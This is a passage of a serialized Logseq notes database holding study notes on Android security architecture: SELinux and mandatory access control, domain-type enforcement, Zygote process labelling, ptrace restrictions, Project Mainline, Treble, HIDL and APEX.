privilegeslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[605,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[605,logseq____&quot;^Flogseq____&quot;,590,536874665]],[logseq____&quot;^15logseq____&quot;,[605,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[605,logseq____&quot;^Vlogseq____&quot;,609,536874665]],[logseq____&quot;^15logseq____&quot;,[605,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[605,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-872b-489a-8cfb-65f050b9aba6logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[606,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;((67b9ce96-c1d1-461c-b0b4-9bb8de08615d)) , SMACK(Simplified Mandatory Access Control Kernel), MIClogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[606,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[606,logseq____&quot;^Flogseq____&quot;,588,536874665]],[logseq____&quot;^15logseq____&quot;,[606,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[606,logseq____&quot;^Vlogseq____&quot;,581,536874665]],[logseq____&quot;^15logseq____&quot;,[606,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[606,logseq____&quot;^Hlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[606,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-bfe1-432b-a0b0-e254c4ae99bflogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[607,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Access control decisions based on domain(subjects) and type(objects)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[607,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[607,logseq____&quot;^Flogseq____&quot;,617,536874665]],[logseq____&quot;^15logseq____&quot;,[607,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[607,logseq____&quot;^Vlogseq____&quot;,617,536874665]],[logseq____&quot;^15logseq____&quot;,[607,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[607,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-1c62-4b17-a93a-1236d2f3b764logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[608,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Policies based on the *path of executables and objects*logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[608,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[608,logseq____&quot;^Flogseq____&quot;,594,536874665]],[logseq____&quot;^15logseq____&quot;,[608,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[608,logseq____&quot;^Vlogseq____&quot;,594,536874665]],[logseq____&quot;^15logseq____&quot;,[608,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[608,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-14b2-469f-9b93-e0c8b6809110logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[609,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Informationlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[609,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[609,logseq____&quot;^Flogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[609,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[609,logseq____&quot;^Vlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[609,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[609,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874665]],[logseq____&quot;^15logseq____&quot;,[609,logseq____&quot;^Jlogseq____&quot;,[],536874665]],[logseq____&quot;^15logseq____&quot;,[609,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-0fd9-4252-95a7-2689e0c385c4logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[610,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;system daemons do not have access to app data or sd-cardlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[610,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[610,logseq____&quot;^Flogseq____&quot;,577,536874665]],[logseq____&quot;^15logseq____&quot;,[610,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[610,logseq____&quot;^Vlogseq____&quot;,551,536874665]],[logseq____&quot;^15logseq____&quot;,[610,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[610,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-6729-40ed-a20d-0055a7bb4114logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[611,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Represented by LSM hooks (truncate or continue CF based on policy decision)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[611,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[611,logseq____&quot;^Flogseq____&quot;,556,536874665]],[logseq____&quot;^15logseq____&quot;,[611,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[611,logseq____&quot;^Vlogseq____&quot;,566,536874665]],[logseq____&quot;^15logseq____&quot;,[611,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[611,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-4f47-4716-9fe9-0e32c83d2e15logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[612,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;user: group roleslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[612,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[612,logseq____&quot;^Flogseq____&quot;,579,536874665]],[logseq____&quot;^15logseq____&quot;,[612,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[612,logseq____&quot;^Vlogseq____&quot;,589,536874665]],[logseq____&quot;^15logseq____&quot;,[612,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[612,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-23cc-41de-8408-d60615e83cdflogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[613,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## USOM (User Space Object Managers)\\nid:: 67b9e0d3-a64f-414c-b6b5-7ceac2877fcelogseq____&quot;,536874791]],[logseq____&quot;^15logseq____&quot;,[613,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[613,logseq____&quot;^Flogseq____&quot;,599,536874665]],[logseq____&quot;^15logseq____&quot;,[613,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[613,logseq____&quot;^Vlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[613,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[613,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9e0d3-a64f-414c-b6b5-7ceac2877fcelogseq____&quot;],536874791]],[logseq____&quot;^15logseq____&quot;,[613,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[logseq____&quot;^18logseq____&quot;]],536874791]],[logseq____&quot;^15logseq____&quot;,[613,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9e0d3-a64f-414c-b6b5-7ceac2877fcelogseq____&quot;],536874791]],[logseq____&quot;^15logseq____&quot;,[613,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-a64f-414c-b6b5-7ceac2877fcelogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[614,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Weak* tranquility: security levels do not change in a way that *violates the rules* of a given security policylogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[614,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[614,logseq____&quot;^Flogseq____&quot;,569,536874665]],[logseq____&quot;^15logseq____&quot;,[614,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[614,logseq____&quot;^Vlogseq____&quot;,558,536874665]],[logseq____&quot;^15logseq____&quot;,[614,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[614,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-658e-430f-a12e-501892ebb167logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[615,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Interface to ((67b9ce96-c1d1-461c-b0b4-9bb8de08615d)) security server via `selinuxfs`logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[615,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[615,logseq____&quot;^Flogseq____&quot;,559,536874665]],[logseq____&quot;^15logseq____&quot;,[615,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[615,logseq____&quot;^Vlogseq____&quot;,559,536874665]],[logseq____&quot;^15logseq____&quot;,[615,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[615,logseq____&quot;^Ulogseq____&quot;,593,536874792]],[logseq____&quot;^15logseq____&quot;,[615,logseq____&quot;^Hlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[615,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-cd5a-453b-8a92-ef082900a7ddlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[616,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;rule stated as `allow subject_type object_type: object_class operation`logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[616,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[616,logseq____&quot;^Flogseq____&quot;,598,536874665]],[logseq____&quot;^15logseq____&quot;,[616,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[616,logseq____&quot;^Vlogseq____&quot;,617,536874665]],[logseq____&quot;^15logseq____&quot;,[616,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[616,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-2307-499c-82a0-46115d2088b1logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[617,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### DTE (Domain-Type Enforcement)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[617,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[617,logseq____&quot;^Flogseq____&quot;,565,536874665]],[logseq____&quot;^15logseq____&quot;,[617,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[617,logseq____&quot;^Vlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[617,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[617,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874665]],[logseq____&quot;^15logseq____&quot;,[617,logseq____&quot;^Jlogseq____&quot;,[],536874665]],[logseq____&quot;^15logseq____&quot;,[617,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-284a-4408-8239-4d66b29b88delogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[618,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## MAC Implementationslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[618,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[618,logseq____&quot;^Flogseq____&quot;,609,536874665]],[logseq____&quot;^15logseq____&quot;,[618,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[618,logseq____&quot;^Vlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[618,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[618,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874665]],[logseq____&quot;^15logseq____&quot;,[618,logseq____&quot;^Jlogseq____&quot;,[],536874665]],[logseq____&quot;^15logseq____&quot;,[618,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-96da-488e-bdef-38f8ae70a102logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[619,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;On app start, ((67b8b44a-6c31-4d6b-9636-36ff5e0010d0)) requests applogseq____&apos;s type and passes it to Zygote, which labels the new processlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[619,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[619,logseq____&quot;^Flogseq____&quot;,601,536874665]],[logseq____&quot;^15logseq____&quot;,[619,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[619,logseq____&quot;^Vlogseq____&quot;,554,536874665]],[logseq____&quot;^15logseq____&quot;,[619,logseq____&quot;^Ulogseq____&quot;,470,536874792]],[logseq____&quot;^15logseq____&quot;,[619,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[619,logseq____&quot;^Hlogseq____&quot;,470,536874665]],[logseq____&quot;^15logseq____&quot;,[619,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-47d4-4a1d-b63c-5cd47a23efe6logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[620,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;((67b83fac-4da8-46ef-938e-6d2a8ea817ed)) not mitigated, but limited effects (app remains in `untrusted_app` domain)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[620,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[620,logseq____&quot;^Flogseq____&quot;,604,536874665]],[logseq____&quot;^15logseq____&quot;,[620,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[620,logseq____&quot;^Vlogseq____&quot;,551,536874665]],[logseq____&quot;^15logseq____&quot;,[620,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[620,logseq____&quot;^Hlogseq____&quot;,196,536874665]],[logseq____&quot;^15logseq____&quot;,[620,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-575e-4677-b6dc-06c0445c5523logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[621,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Developed by NSA (in Linux Kernel since 2008, in Android since Android 5.0)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[621,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[621,logseq____&quot;^Flogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[621,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[621,logseq____&quot;^Vlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[621,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[621,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-412c-44dc-a4a0-6dfafebec59alogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[622,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`ptrace` disallowed for init process, keystore and app-to-app ptracelogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[622,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[622,logseq____&quot;^Flogseq____&quot;,574,536874665]],[logseq____&quot;^15logseq____&quot;,[622,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[622,logseq____&quot;^Vlogseq____&quot;,551,536874665]],[logseq____&quot;^15logseq____&quot;,[622,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[622,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-46f5-4a6b-a0b7-4a5653b315b8logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Mandatory Access Control]]logseq____&quot;,536874670]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874670]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^Flogseq____&quot;,414,536874670]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^Xlogseq____&quot;,296,536874670]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^Vlogseq____&quot;,299,536874670]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^Ulogseq____&quot;,296,536874670]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^Ulogseq____&quot;,549,536874670]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^Hlogseq____&quot;,549,536878163]],[logseq____&quot;^15logseq____&quot;,[623,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-4d00-4578-94f4-49fe0ac4a2d3logseq____&quot;,536874670]],[logseq____&quot;^15logseq____&quot;,[624,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Project Mainlinelogseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[624,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[624,logseq____&quot;^Flogseq____&quot;,627,536874675]],[logseq____&quot;^15logseq____&quot;,[624,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[624,logseq____&quot;^Vlogseq____&quot;,241,536874675]],[logseq____&quot;^15logseq____&quot;,[624,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[624,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874675]],[logseq____&quot;^15logseq____&quot;,[624,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[624,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-4cdc-49c7-ad26-725939e5f589logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[625,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Hard to define optimal policy:logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[625,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[625,logseq____&quot;^Flogseq____&quot;,230,536874675]],[logseq____&quot;^15logseq____&quot;,[625,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[625,logseq____&quot;^Vlogseq____&quot;,234,536874675]],[logseq____&quot;^15logseq____&quot;,[625,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[625,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-e7a6-4039-bf24-0384ceeb2be8logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[626,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Too loose violates principlelogseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[626,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[626,logseq____&quot;^Flogseq____&quot;,634,536874675]],[logseq____&quot;^15logseq____&quot;,[626,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[626,logseq____&quot;^Vlogseq____&quot;,625,536874675]],[logseq____&quot;^15logseq____&quot;,[626,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[626,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-6f17-4575-9217-14a2a8bc1121logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[627,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Modularization via *Treble*logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[627,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[627,logseq____&quot;^Flogseq____&quot;,244,536874675]],[logseq____&quot;^15logseq____&quot;,[627,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[627,logseq____&quot;^Vlogseq____&quot;,241,536874675]],[logseq____&quot;^15logseq____&quot;,[627,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[627,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874675]],[logseq____&quot;^15logseq____&quot;,[627,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[627,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-6364-49a1-9d37-c7d73cf1432dlogseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[628,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android 10 modularized Android system components (can be updated independently from release cycle now)logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[628,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[628,logseq____&quot;^Flogseq____&quot;,624,536874675]],[logseq____&quot;^15logseq____&quot;,[628,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[628,logseq____&quot;^Vlogseq____&quot;,624,536874675]],[logseq____&quot;^15logseq____&quot;,[628,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[628,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-3596-4025-bd43-b77ecf35663alogseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[629,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Separates HAL from implementationslogseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[629,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[629,logseq____&quot;^Flogseq____&quot;,631,536874675]],[logseq____&quot;^15logseq____&quot;,[629,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[629,logseq____&quot;^Vlogseq____&quot;,627,536874675]],[logseq____&quot;^15logseq____&quot;,[629,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[629,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-48b8-47bf-9f8b-cd3c4015d224logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[630,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android 8.0 reworked OS frameworklogseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[630,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[630,logseq____&quot;^Flogseq____&quot;,627,536874675]],[logseq____&quot;^15logseq____&quot;,[630,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[630,logseq____&quot;^Vlogseq____&quot;,627,536874675]],[logseq____&quot;^15logseq____&quot;,[630,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[630,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-20e4-4db2-94b2-1259c27721f0logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[631,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Introduced HAL interface definition language (HIDL)logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[631,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[631,logseq____&quot;^Flogseq____&quot;,630,536874675]],[logseq____&quot;^15logseq____&quot;,[631,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[631,logseq____&quot;^Vlogseq____&quot;,627,536874675]],[logseq____&quot;^15logseq____&quot;,[631,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[631,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-6c06-4c82-a700-f1fb5370e8aflogseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[632,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;New container format (APEX) for lower-level system modules not fitting in application modellogseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[632,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[632,logseq____&quot;^Flogseq____&quot;,628,536874675]],[logseq____&quot;^15logseq____&quot;,[632,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[632,logseq____&quot;^Vlogseq____&quot;,624,536874675]],[logseq____&quot;^15logseq____&quot;,[632,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[632,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-790e-4876-839a-a453d8164df3logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[633,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[633,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[633,logseq____&quot;^Flogseq____&quot;,624,536874675]],[logseq____&quot;^15logseq____&quot;,[633,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[633,logseq____&quot;^Vlogseq____&quot;,241,536874675]],[logseq____&quot;^15logseq____&quot;,[633,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[633,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-3aa7-41d8-a28e-a6b98c00fb7blogseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[634,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Too strict might hinder benign 